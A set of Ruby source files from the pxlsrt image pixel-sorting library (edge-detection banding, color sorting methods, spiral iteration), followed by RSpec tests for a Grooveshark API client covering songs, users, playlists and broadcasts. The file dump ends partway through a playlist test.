f65880032f441887d77ddfbe5ebb0760edc96e1c
2026-01-04T17:57:31.647579Z
false
czycha/pxlsrt
https://github.com/czycha/pxlsrt/blob/f65880032f441887d77ddfbe5ebb0760edc96e1c/lib/pxlsrt/smart.rb
lib/pxlsrt/smart.rb
require 'oily_png' module Pxlsrt ## # Smart sorting uses sorted-finding algorithms to create bands to sort, # as opposed to brute sorting which doesn't care for the content or # sorteds, just a specified range to create bands. class Smart ## # Uses Pxlsrt::Smart.smart to input and output from pne method. def self.suite(inputFileName, outputFileName, o = {}) kml = Pxlsrt::Smart.smart(inputFileName, o) kml.save(outputFileName) if Pxlsrt::Helpers.contented(kml) end ## # The main attraction of the Smart class. Returns a ChunkyPNG::Image that is sorted according to the options provided. Will raise any error that occurs. def self.smart(input, o = {}) startTime = Time.now defOptions = { reverse: false, vertical: false, diagonal: false, smooth: false, method: 'sum-rgb', verbose: false, absolute: false, threshold: 20, trusted: false, middle: false } defRules = { reverse: :anything, vertical: [false, true], diagonal: [false, true], smooth: [false, true], method: Pxlsrt::Colors::METHODS, verbose: [false, true], absolute: [false, true], threshold: [{ class: [Float, Integer] }], trusted: [false, true], middle: :anything } options = defOptions.merge(o) if o.empty? || (options[:trusted] == true) || ((options[:trusted] == false) && !o.empty? && (Pxlsrt::Helpers.checkOptions(options, defRules) != false)) Pxlsrt::Helpers.verbose('Options are all good.') if options[:verbose] if input.class == String Pxlsrt::Helpers.verbose('Getting image from file...') if options[:verbose] if File.file?(input) if Pxlsrt::Colors.isPNG?(input) input = ChunkyPNG::Image.from_file(input) else Pxlsrt::Helpers.error("File #{input} is not a valid PNG.") if options[:verbose] raise 'Invalid PNG' end else Pxlsrt::Helpers.error("File #{input} doesn't exist!") if options[:verbose] raise "File doesn't exist" end elsif (input.class != String) && (input.class != ChunkyPNG::Image) Pxlsrt::Helpers.error('Input is not a filename or ChunkyPNG::Image') if options[:verbose] raise 'Invalid input (must be filename or ChunkyPNG::Image)' end Pxlsrt::Helpers.verbose('Smart mode.') if options[:verbose] png = Pxlsrt::Image.new(input) if !options[:vertical] && !options[:diagonal] Pxlsrt::Helpers.verbose('Retrieving rows') if options[:verbose] lines = png.horizontalLines elsif options[:vertical] && !options[:diagonal] Pxlsrt::Helpers.verbose('Retrieving columns') if options[:verbose] lines = png.verticalLines elsif !options[:vertical] && options[:diagonal] Pxlsrt::Helpers.verbose('Retrieving diagonals') if options[:verbose] lines = png.diagonalLines elsif options[:vertical] && options[:diagonal] Pxlsrt::Helpers.verbose('Retrieving diagonals') if options[:verbose] lines = png.rDiagonalLines end Pxlsrt::Helpers.verbose('Retrieving edges') if options[:verbose] png.getSobels iterator = if !options[:diagonal] 0...(lines.length) else lines.keys end prr = 0 len = iterator.to_a.length Pxlsrt::Helpers.progress('Dividing and pixel sorting lines', prr, len) if options[:verbose] iterator.each do |k| line = lines[k] divisions = [] division = [] if line.length > 1 (0...line.length).each do |pixel| if !options[:vertical] && !options[:diagonal] xy = png.horizontalXY(k, pixel) elsif options[:vertical] && !options[:diagonal] xy = png.verticalXY(k, pixel) elsif !options[:vertical] && options[:diagonal] xy = png.diagonalXY(k, pixel) elsif options[:vertical] && options[:diagonal] xy = png.rDiagonalXY(k, pixel) end pxlSobel = png.getSobelAndColor(xy['x'], xy['y']) if division.empty? || ((options[:absolute] ? pxlSobel['sobel'] : pxlSobel['sobel'] - division.last['sobel']) <= options[:threshold]) division.push(pxlSobel) else divisions.push(division) division = [pxlSobel] end if pixel == line.length - 1 divisions.push(division) division = [] end end end newLine = [] divisions.each do |band| newLine.concat( Pxlsrt::Helpers.handlePixelSort( band.map { |sobelAndColor| sobelAndColor['color'] }, options ) ) end if !options[:diagonal] png.replaceHorizontal(k, newLine) unless options[:vertical] png.replaceVertical(k, newLine) if options[:vertical] else png.replaceDiagonal(k, newLine) unless options[:vertical] png.replaceRDiagonal(k, newLine) if options[:vertical] end prr += 1 Pxlsrt::Helpers.progress('Dividing and pixel sorting lines', prr, len) if options[:verbose] end endTime = Time.now timeElapsed = endTime - startTime if timeElapsed < 60 Pxlsrt::Helpers.verbose("Took #{timeElapsed.round(4)} second#{timeElapsed.round(4) != 1.0 ? 's' : ''}.") if options[:verbose] else minutes = (timeElapsed / 60).floor seconds = (timeElapsed % 60).round(4) Pxlsrt::Helpers.verbose("Took #{minutes} minute#{minutes != 1 ? 's' : ''} and #{seconds} second#{seconds != 1.0 ? 's' : ''}.") if options[:verbose] end Pxlsrt::Helpers.verbose('Returning ChunkyPNG::Image...') if options[:verbose] return png.returnModified else Pxlsrt::Helpers.error('Options specified do not follow the correct format.') if options[:verbose] raise 'Bad options' end end end end
ruby
MIT
f65880032f441887d77ddfbe5ebb0760edc96e1c
2026-01-04T17:57:31.647579Z
false
czycha/pxlsrt
https://github.com/czycha/pxlsrt/blob/f65880032f441887d77ddfbe5ebb0760edc96e1c/lib/pxlsrt/spiral.rb
lib/pxlsrt/spiral.rb
module Pxlsrt ## # Spiral iteration. class Spiral def initialize(x, y) @x = x @y = y @direction = 'up' @step = 1 @at = 0 @count = 0 @cycles = -1 end ## # Return current x value. attr_reader :x ## # Return current y value. attr_reader :y ## # Return current direction. attr_reader :direction ## # Return amount iterated. attr_reader :count ## # Return cycles gone through completely. attr_reader :cycles ## # Return current position. def pos { x: @x, y: @y } end ## # Goes to next position. Returns position. def next case @direction when 'left' @x -= 1 @at += 1 if @at == @step @direction = 'down' @at = 0 @step += 1 end when 'down' @y += 1 @at += 1 if @at == @step @direction = 'right' @at = 0 end when 'right' @x += 1 @at += 1 if @at == @step @direction = 'up' @at = 0 @step += 1 end when 'up' @cycles += 1 if @at.zero? @y -= 1 @at += 1 if @at == @step @direction = 'left' @at = 0 end end @count += 1 pos end end end
ruby
MIT
f65880032f441887d77ddfbe5ebb0760edc96e1c
2026-01-04T17:57:31.647579Z
false
czycha/pxlsrt
https://github.com/czycha/pxlsrt/blob/f65880032f441887d77ddfbe5ebb0760edc96e1c/lib/pxlsrt/colors.rb
lib/pxlsrt/colors.rb
require 'oily_png' module Pxlsrt ## # Includes color operations. class Colors ## # List of sorting methods. METHODS = ['sum-rgb', 'red', 'green', 'blue', 'sum-hsb', 'hue', 'saturation', 'brightness', 'uniqueness', 'luma', 'random', 'cyan', 'magenta', 'yellow', 'alpha', 'sum-rgba', 'sum-hsba', 'none'].freeze ## # Converts a ChunkyPNG pixel into an array of the red, green, blue, and alpha values def self.getRGBA(pxl) [ChunkyPNG::Color.r(pxl), ChunkyPNG::Color.g(pxl), ChunkyPNG::Color.b(pxl), ChunkyPNG::Color.a(pxl)] end ## # Check if file is a PNG image. ChunkyPNG only works with PNG images. Eventually, I might use conversion tools to add support, but not right now. def self.isPNG?(path) File.open(path, 'rb').read(9).include?('PNG') end ## # Averages an array of RGB-like arrays. def self.colorAverage(ca, chunky = false) return ca.first if ca.length == 1 Pxlsrt::Helpers.verbose(ca) if ca.empty? if !chunky r = ((ca.collect { |c| c[0] }).inject { |sum, el| sum + el }).to_f / ca.size g = ((ca.collect { |c| c[1] }).inject { |sum, el| sum + el }).to_f / ca.size b = ((ca.collect { |c| c[2] }).inject { |sum, el| sum + el }).to_f / ca.size a = ((ca.collect { |c| c[3] }).inject { |sum, el| sum + el }).to_f / ca.size return [r.to_i, g.to_i, b.to_i, a.to_i] else r = ((ca.collect { |c| ChunkyPNG::Color.r(c) }).inject { |sum, el| sum + el }).to_f / ca.size g = ((ca.collect { |c| ChunkyPNG::Color.g(c) }).inject { |sum, el| sum + el }).to_f / ca.size b = ((ca.collect { |c| ChunkyPNG::Color.b(c) }).inject { |sum, el| sum + el }).to_f / ca.size a = ((ca.collect { |c| ChunkyPNG::Color.a(c) }).inject { |sum, el| sum + el }).to_f / ca.size return ChunkyPNG::Color.rgba(r.to_i, g.to_i, b.to_i, a.to_i) end end ## # Determines color distance from each other using the Pythagorean theorem. def self.colorDistance(c1, c2, chunky = false) if !chunky Math.sqrt((c1[0] - c2[0])**2 + (c1[1] - c2[1])**2 + (c1[2] - c2[2])**2 + (c1[3] - c2[3])**2) else Math.sqrt((ChunkyPNG::Color.r(c1) - ChunkyPNG::Color.r(c2))**2 + (ChunkyPNG::Color.g(c1) - ChunkyPNG::Color.g(c2))**2 + (ChunkyPNG::Color.b(c1) - ChunkyPNG::Color.b(c2))**2 + (ChunkyPNG::Color.a(c1) - ChunkyPNG::Color.a(c2))**2) end end ## # Uses a combination of color averaging and color distance to find how "unique" a color is. def self.colorUniqueness(c, ca, chunky = false) Pxlsrt::Colors.colorDistance(c, Pxlsrt::Colors.colorAverage(ca, chunky), chunky) end ## # Sorts an array of colors based on a method. # Available methods: # * sum-rgb (default) # * sum-rgba # * red # * yellow # * green # * cyan # * blue # * magenta # * hue # * saturation # * brightness # * sum-hsb # * sum-hsba # * uniqueness # * luma # * random # * alpha # * none def self.pixelSort(list, how, reverse) mhm = [] Pxlsrt::Helpers.error(list) if list.empty? k = if reverse.zero? 1 elsif reverse == 1 -1 else [-1, 1].sample end case how.downcase when 'sum-rgb' mhm = list.sort_by { |c| k * (ChunkyPNG::Color.r(c) + ChunkyPNG::Color.g(c) + ChunkyPNG::Color.b(c)) } when 'sum-rgba' mhm = list.sort_by { |c| k * (ChunkyPNG::Color.r(c) + ChunkyPNG::Color.g(c) + ChunkyPNG::Color.b(c) + ChunkyPNG::Color.a(c)) } when 'red' mhm = list.sort_by { |c| k * ChunkyPNG::Color.r(c) } when 'yellow' mhm = list.sort_by { |c| k * (ChunkyPNG::Color.r(c) + ChunkyPNG::Color.g(c)) } when 'green' mhm = list.sort_by { |c| k * ChunkyPNG::Color.g(c) } when 'cyan' mhm = list.sort_by { |c| k * (ChunkyPNG::Color.g(c) + ChunkyPNG::Color.b(c)) } when 'blue' mhm = list.sort_by { |c| k * ChunkyPNG::Color.b(c) } when 'magenta' mhm = list.sort_by { |c| k * (ChunkyPNG::Color.r(c) + ChunkyPNG::Color.b(c)) } when 'hue' mhm = list.sort_by { |c| k * (ChunkyPNG::Color.to_hsb(c)[0] % 360) } when 'saturation' mhm = list.sort_by { |c| k * ChunkyPNG::Color.to_hsb(c)[1] } when 'brightness' mhm = list.sort_by { |c| k * ChunkyPNG::Color.to_hsb(c)[2] } when 'sum-hsb' mhm = list.sort_by do |c| hsb = ChunkyPNG::Color.to_hsb(c) k * ((hsb[0] % 360) / 360.0 + hsb[1] + hsb[2]) end when 'sum-hsba' mhm = list.sort_by do |c| hsb = ChunkyPNG::Color.to_hsb(c) k * ((hsb[0] % 360) / 360.0 + hsb[1] + hsb[2] + ChunkyPNG::Color.a(c) / 255.0) end when 'uniqueness' avg = Pxlsrt::Colors.colorAverage(list, true) mhm = list.sort_by { |c| k * Pxlsrt::Colors.colorUniqueness(c, [avg], true) } when 'luma' mhm = list.sort_by { |c| k * (ChunkyPNG::Color.r(c) * 0.2126 + ChunkyPNG::Color.g(c) * 0.7152 + ChunkyPNG::Color.b(c) * 0.0722 + ChunkyPNG::Color.a(c)) } when 'random' mhm = list.shuffle when 'alpha' mhm = list.sort_by { |c| k * ChunkyPNG::Color.a(c) } when 'none' mhm = if k == -1 list.reverse else list end else mhm = list.sort_by { |c| k * (ChunkyPNG::Color.r(c) + ChunkyPNG::Color.g(c) + ChunkyPNG::Color.b(c)) } end mhm end ## # Turns an RGB-like array into ChunkyPNG's color def self.arrayToRGBA(a) ChunkyPNG::Color.rgba(a[0], a[1], a[2], a[3]) end end end
ruby
MIT
f65880032f441887d77ddfbe5ebb0760edc96e1c
2026-01-04T17:57:31.647579Z
false
czycha/pxlsrt
https://github.com/czycha/pxlsrt/blob/f65880032f441887d77ddfbe5ebb0760edc96e1c/lib/pxlsrt/image.rb
lib/pxlsrt/image.rb
module Pxlsrt ## # Image class for handling ChunkyPNG images. class Image def initialize(png) @original = png @modified = ChunkyPNG::Image.from_canvas(png) @width = png.width @height = png.height @grey = Array.new(@original.height) do |y| Array.new(@original.width) do |x| ChunkyPNG::Color.grayscale_teint(@original[x, y]) end end end ## # Retrieve a multidimensional array consisting of the horizontal lines (row) of the image. def horizontalLines (0...@height).inject([]) { |arr, row| arr << @modified.row(row) } end ## # Replace a horizontal line (row) of the image. def replaceHorizontal(y, arr) @modified.replace_row!(y, arr) @modified end ## # Retrieve the x and y coordinates of a pixel based on the multidimensional array created using the horizontalLines method. def horizontalXY(horizontal, index) { 'x' => index.to_i, 'y' => horizontal.to_i } end ## # Retrieve a multidimensional array consisting of the vertical lines of the image. def verticalLines (0...@width).inject([]) { |arr, column| arr << @modified.column(column) } end ## # Replace a vertical line (column) of the image. def replaceVertical(y, arr) @modified.replace_column!(y, arr) @modified end ## # Retrieve the x and y coordinates of a pixel based on the multidimensional array created using the verticalLines method. def verticalXY(vertical, index) { 'x' => vertical.to_i, 'y' => index.to_i } end ## # Retrieve a hash consisting of the diagonal lines (top left to bottom right) of the image. def diagonalLines Pxlsrt::Lines.getDiagonals(horizontalLines.flatten(1), @width, @height) end ## # Retrieve a hash consisting of the diagonal lines (bottom left to top right) of the image. def rDiagonalLines Pxlsrt::Lines.getDiagonals(horizontalLines.reverse.flatten(1).reverse, @width, @height) end ## # Get the column and row based on the diagonal hash created using diagonalLines. def diagonalColumnRow(d, i) { 'column' => (d.to_i < 0 ? i : d.to_i + i).to_i, 'row' => (d.to_i < 0 ? d.to_i.abs + i : i).to_i } end ## # Replace a diagonal line (top left to bottom right) of the image. def replaceDiagonal(d, arr) d = d.to_i (0...arr.length).each do |i| xy = diagonalXY(d, i) self[xy['x'], xy['y']] = arr[i] end end ## # Replace a diagonal line (bottom left to top right) of the image. def replaceRDiagonal(d, arr) d = d.to_i (0...arr.length).each do |i| xy = rDiagonalXY(d, i) self[xy['x'], xy['y']] = arr[i] end end ## # Retrieve the x and y coordinates of a pixel based on the hash created using the diagonalLines method and the column and row of the diagonalColumnRow method. def diagonalXY(d, i) cr = diagonalColumnRow(d, i) { 'x' => cr['column'], 'y' => cr['row'] } end ## # Retrieve the x and y coordinates of a pixel based on the hash created using the rDiagonalLines method and the column and row of the diagonalColumnRow method. def rDiagonalXY(d, i) cr = diagonalColumnRow(d, i) { 'x' => @width - 1 - cr['column'], 'y' => cr['row'] } end ## # Retrieve Sobel value for a given pixel. def getSobel(x, y) if !defined?(@sobels) @sobel_x ||= [[-1, 0, 1], [-2, 0, 2], [-1, 0, 1]] @sobel_y ||= [[-1, -2, -1], [0, 0, 0], [1, 2, 1]] return 0 if x.zero? || (x == (@width - 1)) || y.zero? || (y == (@height - 1)) t1 = @grey[y - 1][x - 1] t2 = @grey[y - 1][x] t3 = @grey[y - 1][x + 1] t4 = @grey[y][x - 1] t5 = @grey[y][x] t6 = @grey[y][x + 1] t7 = @grey[y + 1][x - 1] t8 = @grey[y + 1][x] t9 = @grey[y + 1][x + 1] pixel_x = (@sobel_x[0][0] * t1) + (@sobel_x[0][1] * t2) + (@sobel_x[0][2] * t3) + (@sobel_x[1][0] * t4) + (@sobel_x[1][1] * t5) + (@sobel_x[1][2] * t6) + (@sobel_x[2][0] * t7) + (@sobel_x[2][1] * t8) + (@sobel_x[2][2] * t9) pixel_y = (@sobel_y[0][0] * t1) + (@sobel_y[0][1] * t2) + (@sobel_y[0][2] * t3) + (@sobel_y[1][0] * t4) + (@sobel_y[1][1] * t5) + (@sobel_y[1][2] * t6) + (@sobel_y[2][0] * t7) + (@sobel_y[2][1] * t8) + (@sobel_y[2][2] * t9) Math.sqrt(pixel_x * pixel_x + pixel_y * pixel_y).ceil else @sobels[y * @width + x] end end ## # Retrieve the Sobel values for every pixel and set it as @sobel. def getSobels unless defined?(@sobels) l = [] (0...(@width * @height)).each do |xy| s = getSobel(xy % @width, (xy / @width).floor) l.push(s) end @sobels = l end @sobels end ## # Retrieve the Sobel value and color of a pixel. def getSobelAndColor(x, y) { 'sobel' => getSobel(x, y), 'color' => self[x, y] } end ## # Retrieve the color of a pixel. def [](x, y) @modified[x, y] end ## # Set the color of a pixel. def []=(x, y, color) @modified[x, y] = color end def i(i) x = i % @width y = (i / @width).floor self[x, y] end def i=(i, color) x = i % @width y = (i / @width).floor self[x, y] = color end ## # Return the original, unmodified image. def returnOriginal @original end ## # Return the modified image. def returnModified @modified end def getWidth @width end def getHeight @height end end end
ruby
MIT
f65880032f441887d77ddfbe5ebb0760edc96e1c
2026-01-04T17:57:31.647579Z
false
sosedoff/grooveshark
https://github.com/sosedoff/grooveshark/blob/e55686c620c13848fa6d918cc2980fd44cf40e35/spec/helper.rb
spec/helper.rb
# -*- coding: utf-8 -*- $LOAD_PATH << File.expand_path('../lib', __FILE__) require 'simplecov' SimpleCov.start do add_filter '/spec/' end
ruby
MIT
e55686c620c13848fa6d918cc2980fd44cf40e35
2026-01-04T17:57:26.418568Z
false
sosedoff/grooveshark
https://github.com/sosedoff/grooveshark/blob/e55686c620c13848fa6d918cc2980fd44cf40e35/spec/grooveshark/client_spec.rb
spec/grooveshark/client_spec.rb
require_relative '../helper' require 'grooveshark' describe 'Client' do context 'initialization' do it 'should have a valid session' do @gs = Grooveshark::Client.new expect(@gs.session).to_not be_nil expect(@gs.session).to match(/^[abcdef\d]{32}$/i) end it 'should have a valid country' do gs = Grooveshark::Client.new expect(gs.country).to be_a Hash expect(gs.country.size).to eq(11) end it 'should have a valid token' do @gs = Grooveshark::Client.new expect(@gs.comm_token).to_not be_nil expect(@gs.comm_token).to match(/^[abcdef\d]{40}$/i) end end context 'authentication' do it 'should raise InvalidAuthentication error for invalid credentials' do @gs = Grooveshark::Client.new expect { @gs.login('invlid_user_name', 'invalid_password') } .to raise_error Grooveshark::InvalidAuthentication end it 'should obtain a new communication token on TTL expiration' do @gs = Grooveshark::Client.new(ttl: 1) @tokens = [] 3.times do @gs.search_songs('Muse') @tokens << @gs.comm_token sleep 3 end @tokens.uniq! expect(@tokens.size).to eq(3) end end context 'search' do before(:all) do @gs = Grooveshark::Client.new end it 'should return empty songs collection' do songs = @gs.search_songs('@@@@@%%%%%%%@%@%%@') expect(songs).to be_a Array expect(songs.size).to eq(0) end it 'should return songs collection' do songs = @gs.search_songs('Nirvana') expect(songs).to be_a Array expect(songs.first).to be_a(Grooveshark::Song) expect(songs.size).to_not eq(0) end it 'should return playlist' do playlists = @gs.search('Playlists', 'CruciAGoT') expect(playlists).to be_a(Array) expect(playlists.first).to be_a(Grooveshark::Playlist) expect(playlists.size).to_not eq(0) end it 'should return result' do artists = @gs.search('Artists', 'Nirvana') expect(artists).to be_a(Array) expect(artists.first).to be_a(Hash) expect(artists.size).to_not eq(0) end end end
ruby
MIT
e55686c620c13848fa6d918cc2980fd44cf40e35
2026-01-04T17:57:26.418568Z
false
sosedoff/grooveshark
https://github.com/sosedoff/grooveshark/blob/e55686c620c13848fa6d918cc2980fd44cf40e35/spec/grooveshark/utils_spec.rb
spec/grooveshark/utils_spec.rb
require_relative '../helper' require 'grooveshark' describe 'String' do it 'should normalize attributes' do vars = %w(key_name keyName KeyName KeyNAME) target = 'key_name' vars.each { |s| expect(s.normalize_attribute).to eq(target) } end end describe 'Hash' do it 'should normalize simple keys' do h = { 'KeyName' => 'Value' }.normalize expect(h.key?('KeyName')).to be_falsy expect(h.key?('key_name')).to eq(true) end it 'should normalize symbol keys' do h = { KeyName: 'Value' } expect(h[:KeyName]).to eq('Value') expect(h.normalize.key?(:KeyName)).to be_falsy expect(h.normalize.key?('key_name')).to eq(true) end it 'should normalize nested data' do h = { 'keyA' => { 'nestedKey' => 'Value' }, 'keyB' => [{ 'arrKey' => 'Value' }] }.normalize expect(h['key_a'].key?('nested_key')).to eq(true) expect(h['key_b']).to be_a(Array) expect(h['key_b'].first.key?('arr_key')).to eq(true) end end
ruby
MIT
e55686c620c13848fa6d918cc2980fd44cf40e35
2026-01-04T17:57:26.418568Z
false
sosedoff/grooveshark
https://github.com/sosedoff/grooveshark/blob/e55686c620c13848fa6d918cc2980fd44cf40e35/spec/grooveshark/song_spec.rb
spec/grooveshark/song_spec.rb
require_relative '../helper' require 'grooveshark' describe 'Song' do it 'should initialize without data' do expect(Grooveshark::Song.new.id).to be_nil end it 'should initialize with data' do song = Grooveshark::Song.new('song_id' => '2', 'song_name' => 'Test', 'artist_name' => 'Me', 'artist_id' => '1337', 'album_name' => 'Ruby4Ever', 'album_id' => '42', 'track_num' => '26', 'estimate_duration' => '17', 'cover_art_filename' => nil, 'song_plays' => nil, 'year' => '2015') expect(song.id).to eq('2') expect(song.name).to eq('Test') expect(song.artist).to eq('Me') expect(song.artist_id).to eq('1337') expect(song.album).to eq('Ruby4Ever') expect(song.track).to eq('26') expect(song.duration).to eq('17') expect(song.artwork).to be_nil expect(song.playcount).to be_nil expect(song.year).to eq('2015') expect(song.to_s).to eq('2 - Test - Me') expect(song.to_hash).to eq('albumID' => '42', 'albumName' => 'Ruby4Ever', 'artistID' => '1337', 'artistName' => 'Me', 'songID' => '2', 'songName' => 'Test', 'track' => '26') end end
ruby
MIT
e55686c620c13848fa6d918cc2980fd44cf40e35
2026-01-04T17:57:26.418568Z
false
sosedoff/grooveshark
https://github.com/sosedoff/grooveshark/blob/e55686c620c13848fa6d918cc2980fd44cf40e35/spec/grooveshark/broadcast_spec.rb
spec/grooveshark/broadcast_spec.rb
require_relative '../helper' require 'grooveshark' describe Grooveshark::Broadcast do let(:client) { Grooveshark::Client.new } describe 'search' do let(:result) { client.top_broadcasts(10) } it 'returns an array' do expect(result).to be_an Array expect(result.size).to eq 10 end it 'includes brodcasts' do all = result.all? { |item| item.is_a?(Grooveshark::Broadcast) } expect(all).to be_truthy end end describe 'broadcast' do let(:broadcast) { client.top_broadcasts.first } it 'has a valid id' do expect(broadcast.id).to match(/^[abcdef\d]{24}$/i) end describe '#active_song' do it 'is a song instance' do expect(broadcast.active_song).to be_a Grooveshark::Song end end describe '#next_song' do it 'is a song instance' do expect(broadcast.active_song).to be_a Grooveshark::Song end end end end
ruby
MIT
e55686c620c13848fa6d918cc2980fd44cf40e35
2026-01-04T17:57:26.418568Z
false
sosedoff/grooveshark
https://github.com/sosedoff/grooveshark/blob/e55686c620c13848fa6d918cc2980fd44cf40e35/spec/grooveshark/errors_spec.rb
spec/grooveshark/errors_spec.rb
require_relative '../helper' require 'grooveshark' describe 'Errors' do it 'should test ApiError' do fault = { 'code' => '25', 'message' => 'Something went wrong' } error = Grooveshark::ApiError.new(fault) expect(error.to_s).to eq('25 - Something went wrong') end end
ruby
MIT
e55686c620c13848fa6d918cc2980fd44cf40e35
2026-01-04T17:57:26.418568Z
false
sosedoff/grooveshark
https://github.com/sosedoff/grooveshark/blob/e55686c620c13848fa6d918cc2980fd44cf40e35/spec/grooveshark/user_spec.rb
spec/grooveshark/user_spec.rb
require_relative '../helper' require 'grooveshark' describe 'User' do it 'should initialize without data' do expect(Grooveshark::User.new(double).id).to be_nil end it 'should initialize with data' do user = Grooveshark::User.new(double, 'user_id' => '1', 'f_name' => 'Pierre Rambaud', 'is_premium' => '0', 'email' => 'pierre.rambaud86@gmail.com', 'city' => 'Paris', 'country' => 'FR', 'sex' => 'M') expect(user.id).to eq('1') expect(user.name).to eq('Pierre Rambaud') expect(user.premium).to eq('0') expect(user.email).to eq('pierre.rambaud86@gmail.com') expect(user.city).to eq('Paris') expect(user.country).to eq('FR') expect(user.sex).to eq('M') end it 'should return avar url' do user = Grooveshark::User.new(double, 'user_id' => '2') expect(user.avatar) .to eq('http://images.grooveshark.com/static/userimages/2.jpg') end it 'should retrieve user activiy' do client = double allow(client).to receive(:request) .with('getProcessedUserFeedData', userID: '2', day: '201411220101') .and_return(true) user = Grooveshark::User.new(client, 'user_id' => '2') expect(user.feed(Time.new('20141122'))) .to eq(true) end it 'should not fetch for songs in library if response is empty' do client = double allow(client).to receive(:request) .with('userGetSongsInLibrary', userID: '2', page: '1') .and_return({}) user = Grooveshark::User.new(client, 'user_id' => '2') expect(user.library(1)) .to eq([]) end it 'should fetch for songs in library' do client = double allow(client).to receive(:request) .with('userGetSongsInLibrary', userID: '2', page: '1') .and_return('songs' => ['song_id' => 1]) user = Grooveshark::User.new(client, 'user_id' => '2') expect(user.library(1).first) .to be_a(Grooveshark::Song) end it 'should add song to user library' do song = Grooveshark::Song.new client = double allow(client).to receive(:request) .with('userAddSongsToLibrary', songs: [song.to_hash]) .and_return(true) user = Grooveshark::User.new(client, 'user_id' => '2') expect(user.library_add([song])) .to eq(true) end it 'should raise error when library does not receive Song' do user = Grooveshark::User.new(double) expect { user.library_remove('something') } .to raise_error(ArgumentError) end it 'should remove song from user library' do song = Grooveshark::Song.new('song_id' => '42', 'album_id' => '43', 'artist_id' => '44') client = double allow(client).to receive(:request) .with('userRemoveSongFromLibrary', userID: '2', songID: '42', albumID: '43', artistID: '44') .and_return(true) user = Grooveshark::User.new(client, 'user_id' => '2') expect(user.library_remove(song)) .to eq(true) end it 'should retrieve library timestamp' do client = double allow(client).to receive(:request) .with('userGetLibraryTSModified', userID: '2') .and_return(true) user = Grooveshark::User.new(client, 'user_id' => '2') expect(user.library_ts_modified) .to eq(true) end it 'should list user playlists and retrieve playlist from id' do client = double allow(client).to receive(:request) .with('userGetPlaylists', userID: '2') .and_return('playlists' => ['playlist_id' => '1337']) user = Grooveshark::User.new(client, 'user_id' => '2') expect(user.playlists).to be_a(Array) expect(user.playlists.first).to be_a(Grooveshark::Playlist) expect(user.playlists.first.id).to eq('1337') expect(user.playlists.first.user_id).to eq('2') expect(user.get_playlist('1337')).to be_a(Grooveshark::Playlist) expect(user.get_playlist('1337').id).to eq('1337') expect(user.get_playlist('1337').user_id).to eq('2') expect(user.get_playlist('42')).to be_nil end it 'should create playlist' do client = double allow(client).to receive(:request) .with('createPlaylist', 'playlistName' => 'GoT', 'playlistAbout' => 'Description', 'songIDs' => %w(10 11)) .and_return(true) user = Grooveshark::User.new(client, 'user_id' => '2') expect(user.create_playlist('GoT', 'Description', [Grooveshark::Song.new('song_id' => '10'), 11])) .to eq(true) end it 'should return favorites songs' do client = double allow(client).to receive(:request) .with('getFavorites', ofWhat: 'Songs', userID: '2') .and_return(['song_id' => '42']) user = Grooveshark::User.new(client, 'user_id' => '2') expect(user.favorites).to be_a(Array) expect(user.favorites.first).to be_a(Grooveshark::Song) expect(user.favorites.first.id).to eq('42') end it 'should add favorite song with song object parameter' do client = double allow(client).to receive(:request) .with('favorite', what: 'Song', ID: '2') .and_return(true) user = Grooveshark::User.new(client, 'user_id' => '2') expect(user.add_favorite(Grooveshark::Song.new('song_id' => '2'))) .to eq(true) end it 'should add favorite song with string parameter' do client = double allow(client).to receive(:request) .with('favorite', what: 'Song', ID: '2') .and_return(true) user = Grooveshark::User.new(client, 'user_id' => '2') expect(user.add_favorite('2')).to eq(true) end it 'should remove favorite songs with song object parameter' do client = double allow(client).to receive(:request) .with('unfavorite', what: 'Song', ID: '2') .and_return(true) user = Grooveshark::User.new(client, 'user_id' => '2') expect(user.remove_favorite(Grooveshark::Song.new('song_id' => '2'))) .to eq(true) end it 'should remove favorite songs with string parameter' do client = double allow(client).to receive(:request) .with('unfavorite', what: 'Song', ID: '2') .and_return(true) user = Grooveshark::User.new(client, 'user_id' => '2') expect(user.remove_favorite('2')).to eq(true) end end
ruby
MIT
e55686c620c13848fa6d918cc2980fd44cf40e35
2026-01-04T17:57:26.418568Z
false
sosedoff/grooveshark
https://github.com/sosedoff/grooveshark/blob/e55686c620c13848fa6d918cc2980fd44cf40e35/spec/grooveshark/playlist_spec.rb
spec/grooveshark/playlist_spec.rb
require_relative '../helper' require 'grooveshark' describe 'Playlist' do it 'should initialize without data' do expect(Grooveshark::Playlist.new(double).id).to be_nil end it 'should initialize with data' do playlist = Grooveshark::Playlist .new(double, 'playlist_id' => '1', 'name' => 'something', 'about' => 'me', 'picture' => 'ruby.jpg', 'user_id' => '2', 'f_name' => 'PierreRambaud', 'num_songs' => '50') expect(playlist.id).to eq('1') expect(playlist.name).to eq('something') expect(playlist.about).to eq('me') expect(playlist.picture).to eq('ruby.jpg') expect(playlist.user_id).to eq('2') expect(playlist.username).to eq('PierreRambaud') expect(playlist.num_songs).to eq(50) end it 'should initiliaze without data and user_id' do playlist = Grooveshark::Playlist.new(double, nil, '2') expect(playlist.id).to be_nil expect(playlist.user_id).to be_nil end it 'should initiliaze with data and user_id' do playlist = Grooveshark::Playlist .new(double, { 'playlist_id' => '1' }, '2') expect(playlist.id).to eq('1') expect(playlist.user_id).to eq('2') end it "shouldn't load songs if playlist isn't found" do client = double allow(client).to receive(:request) .with('getPlaylistByID', playlistID: nil).and_return({}) expect(Grooveshark::Playlist.new(client).load_songs).to eq([]) end it 'should load songs if playlist is found' do client = double allow(client).to receive(:request) .with('getPlaylistByID', playlistID: nil) .and_return('songs' => ['song_id' => '42', 'name' => 'End of days', 'artist_name' => 'Vinnie Paz']) songs = Grooveshark::Playlist.new(client).load_songs expect(songs.first).to be_a(Grooveshark::Song) expect(songs.first.to_s).to eq('42 - End of days - Vinnie Paz') end it 'should rename playlist' do client = double allow(client).to receive(:request) .with('renamePlaylist', playlistID: '2', playlistName: 'GoT') .and_return(true) allow(client).to receive(:request) .with('setPlaylistAbout', playlistID: '2', about: 'Description') .and_return(true) playlist = Grooveshark::Playlist.new(client, 'playlist_id' => '2') expect(playlist.rename('GoT', 'Description')).to eq(true) expect(playlist.name).to eq('GoT') expect(playlist.about).to eq('Description') end it 'should return false when rename playlist failed' do client = double allow(client).to receive(:request) .with('renamePlaylist', playlistID: '2', playlistName: 'GoT') .and_raise(ArgumentError) playlist = Grooveshark::Playlist.new(client, 'playlist_id' => '2') expect(playlist.rename('GoT', 'Description')).to eq(false) expect(playlist.name).to be_nil expect(playlist.about).to be_nil end it 'should delete playlist' do client = double allow(client).to receive(:request) .with('deletePlaylist', playlistID: '2', name: 'GoT') 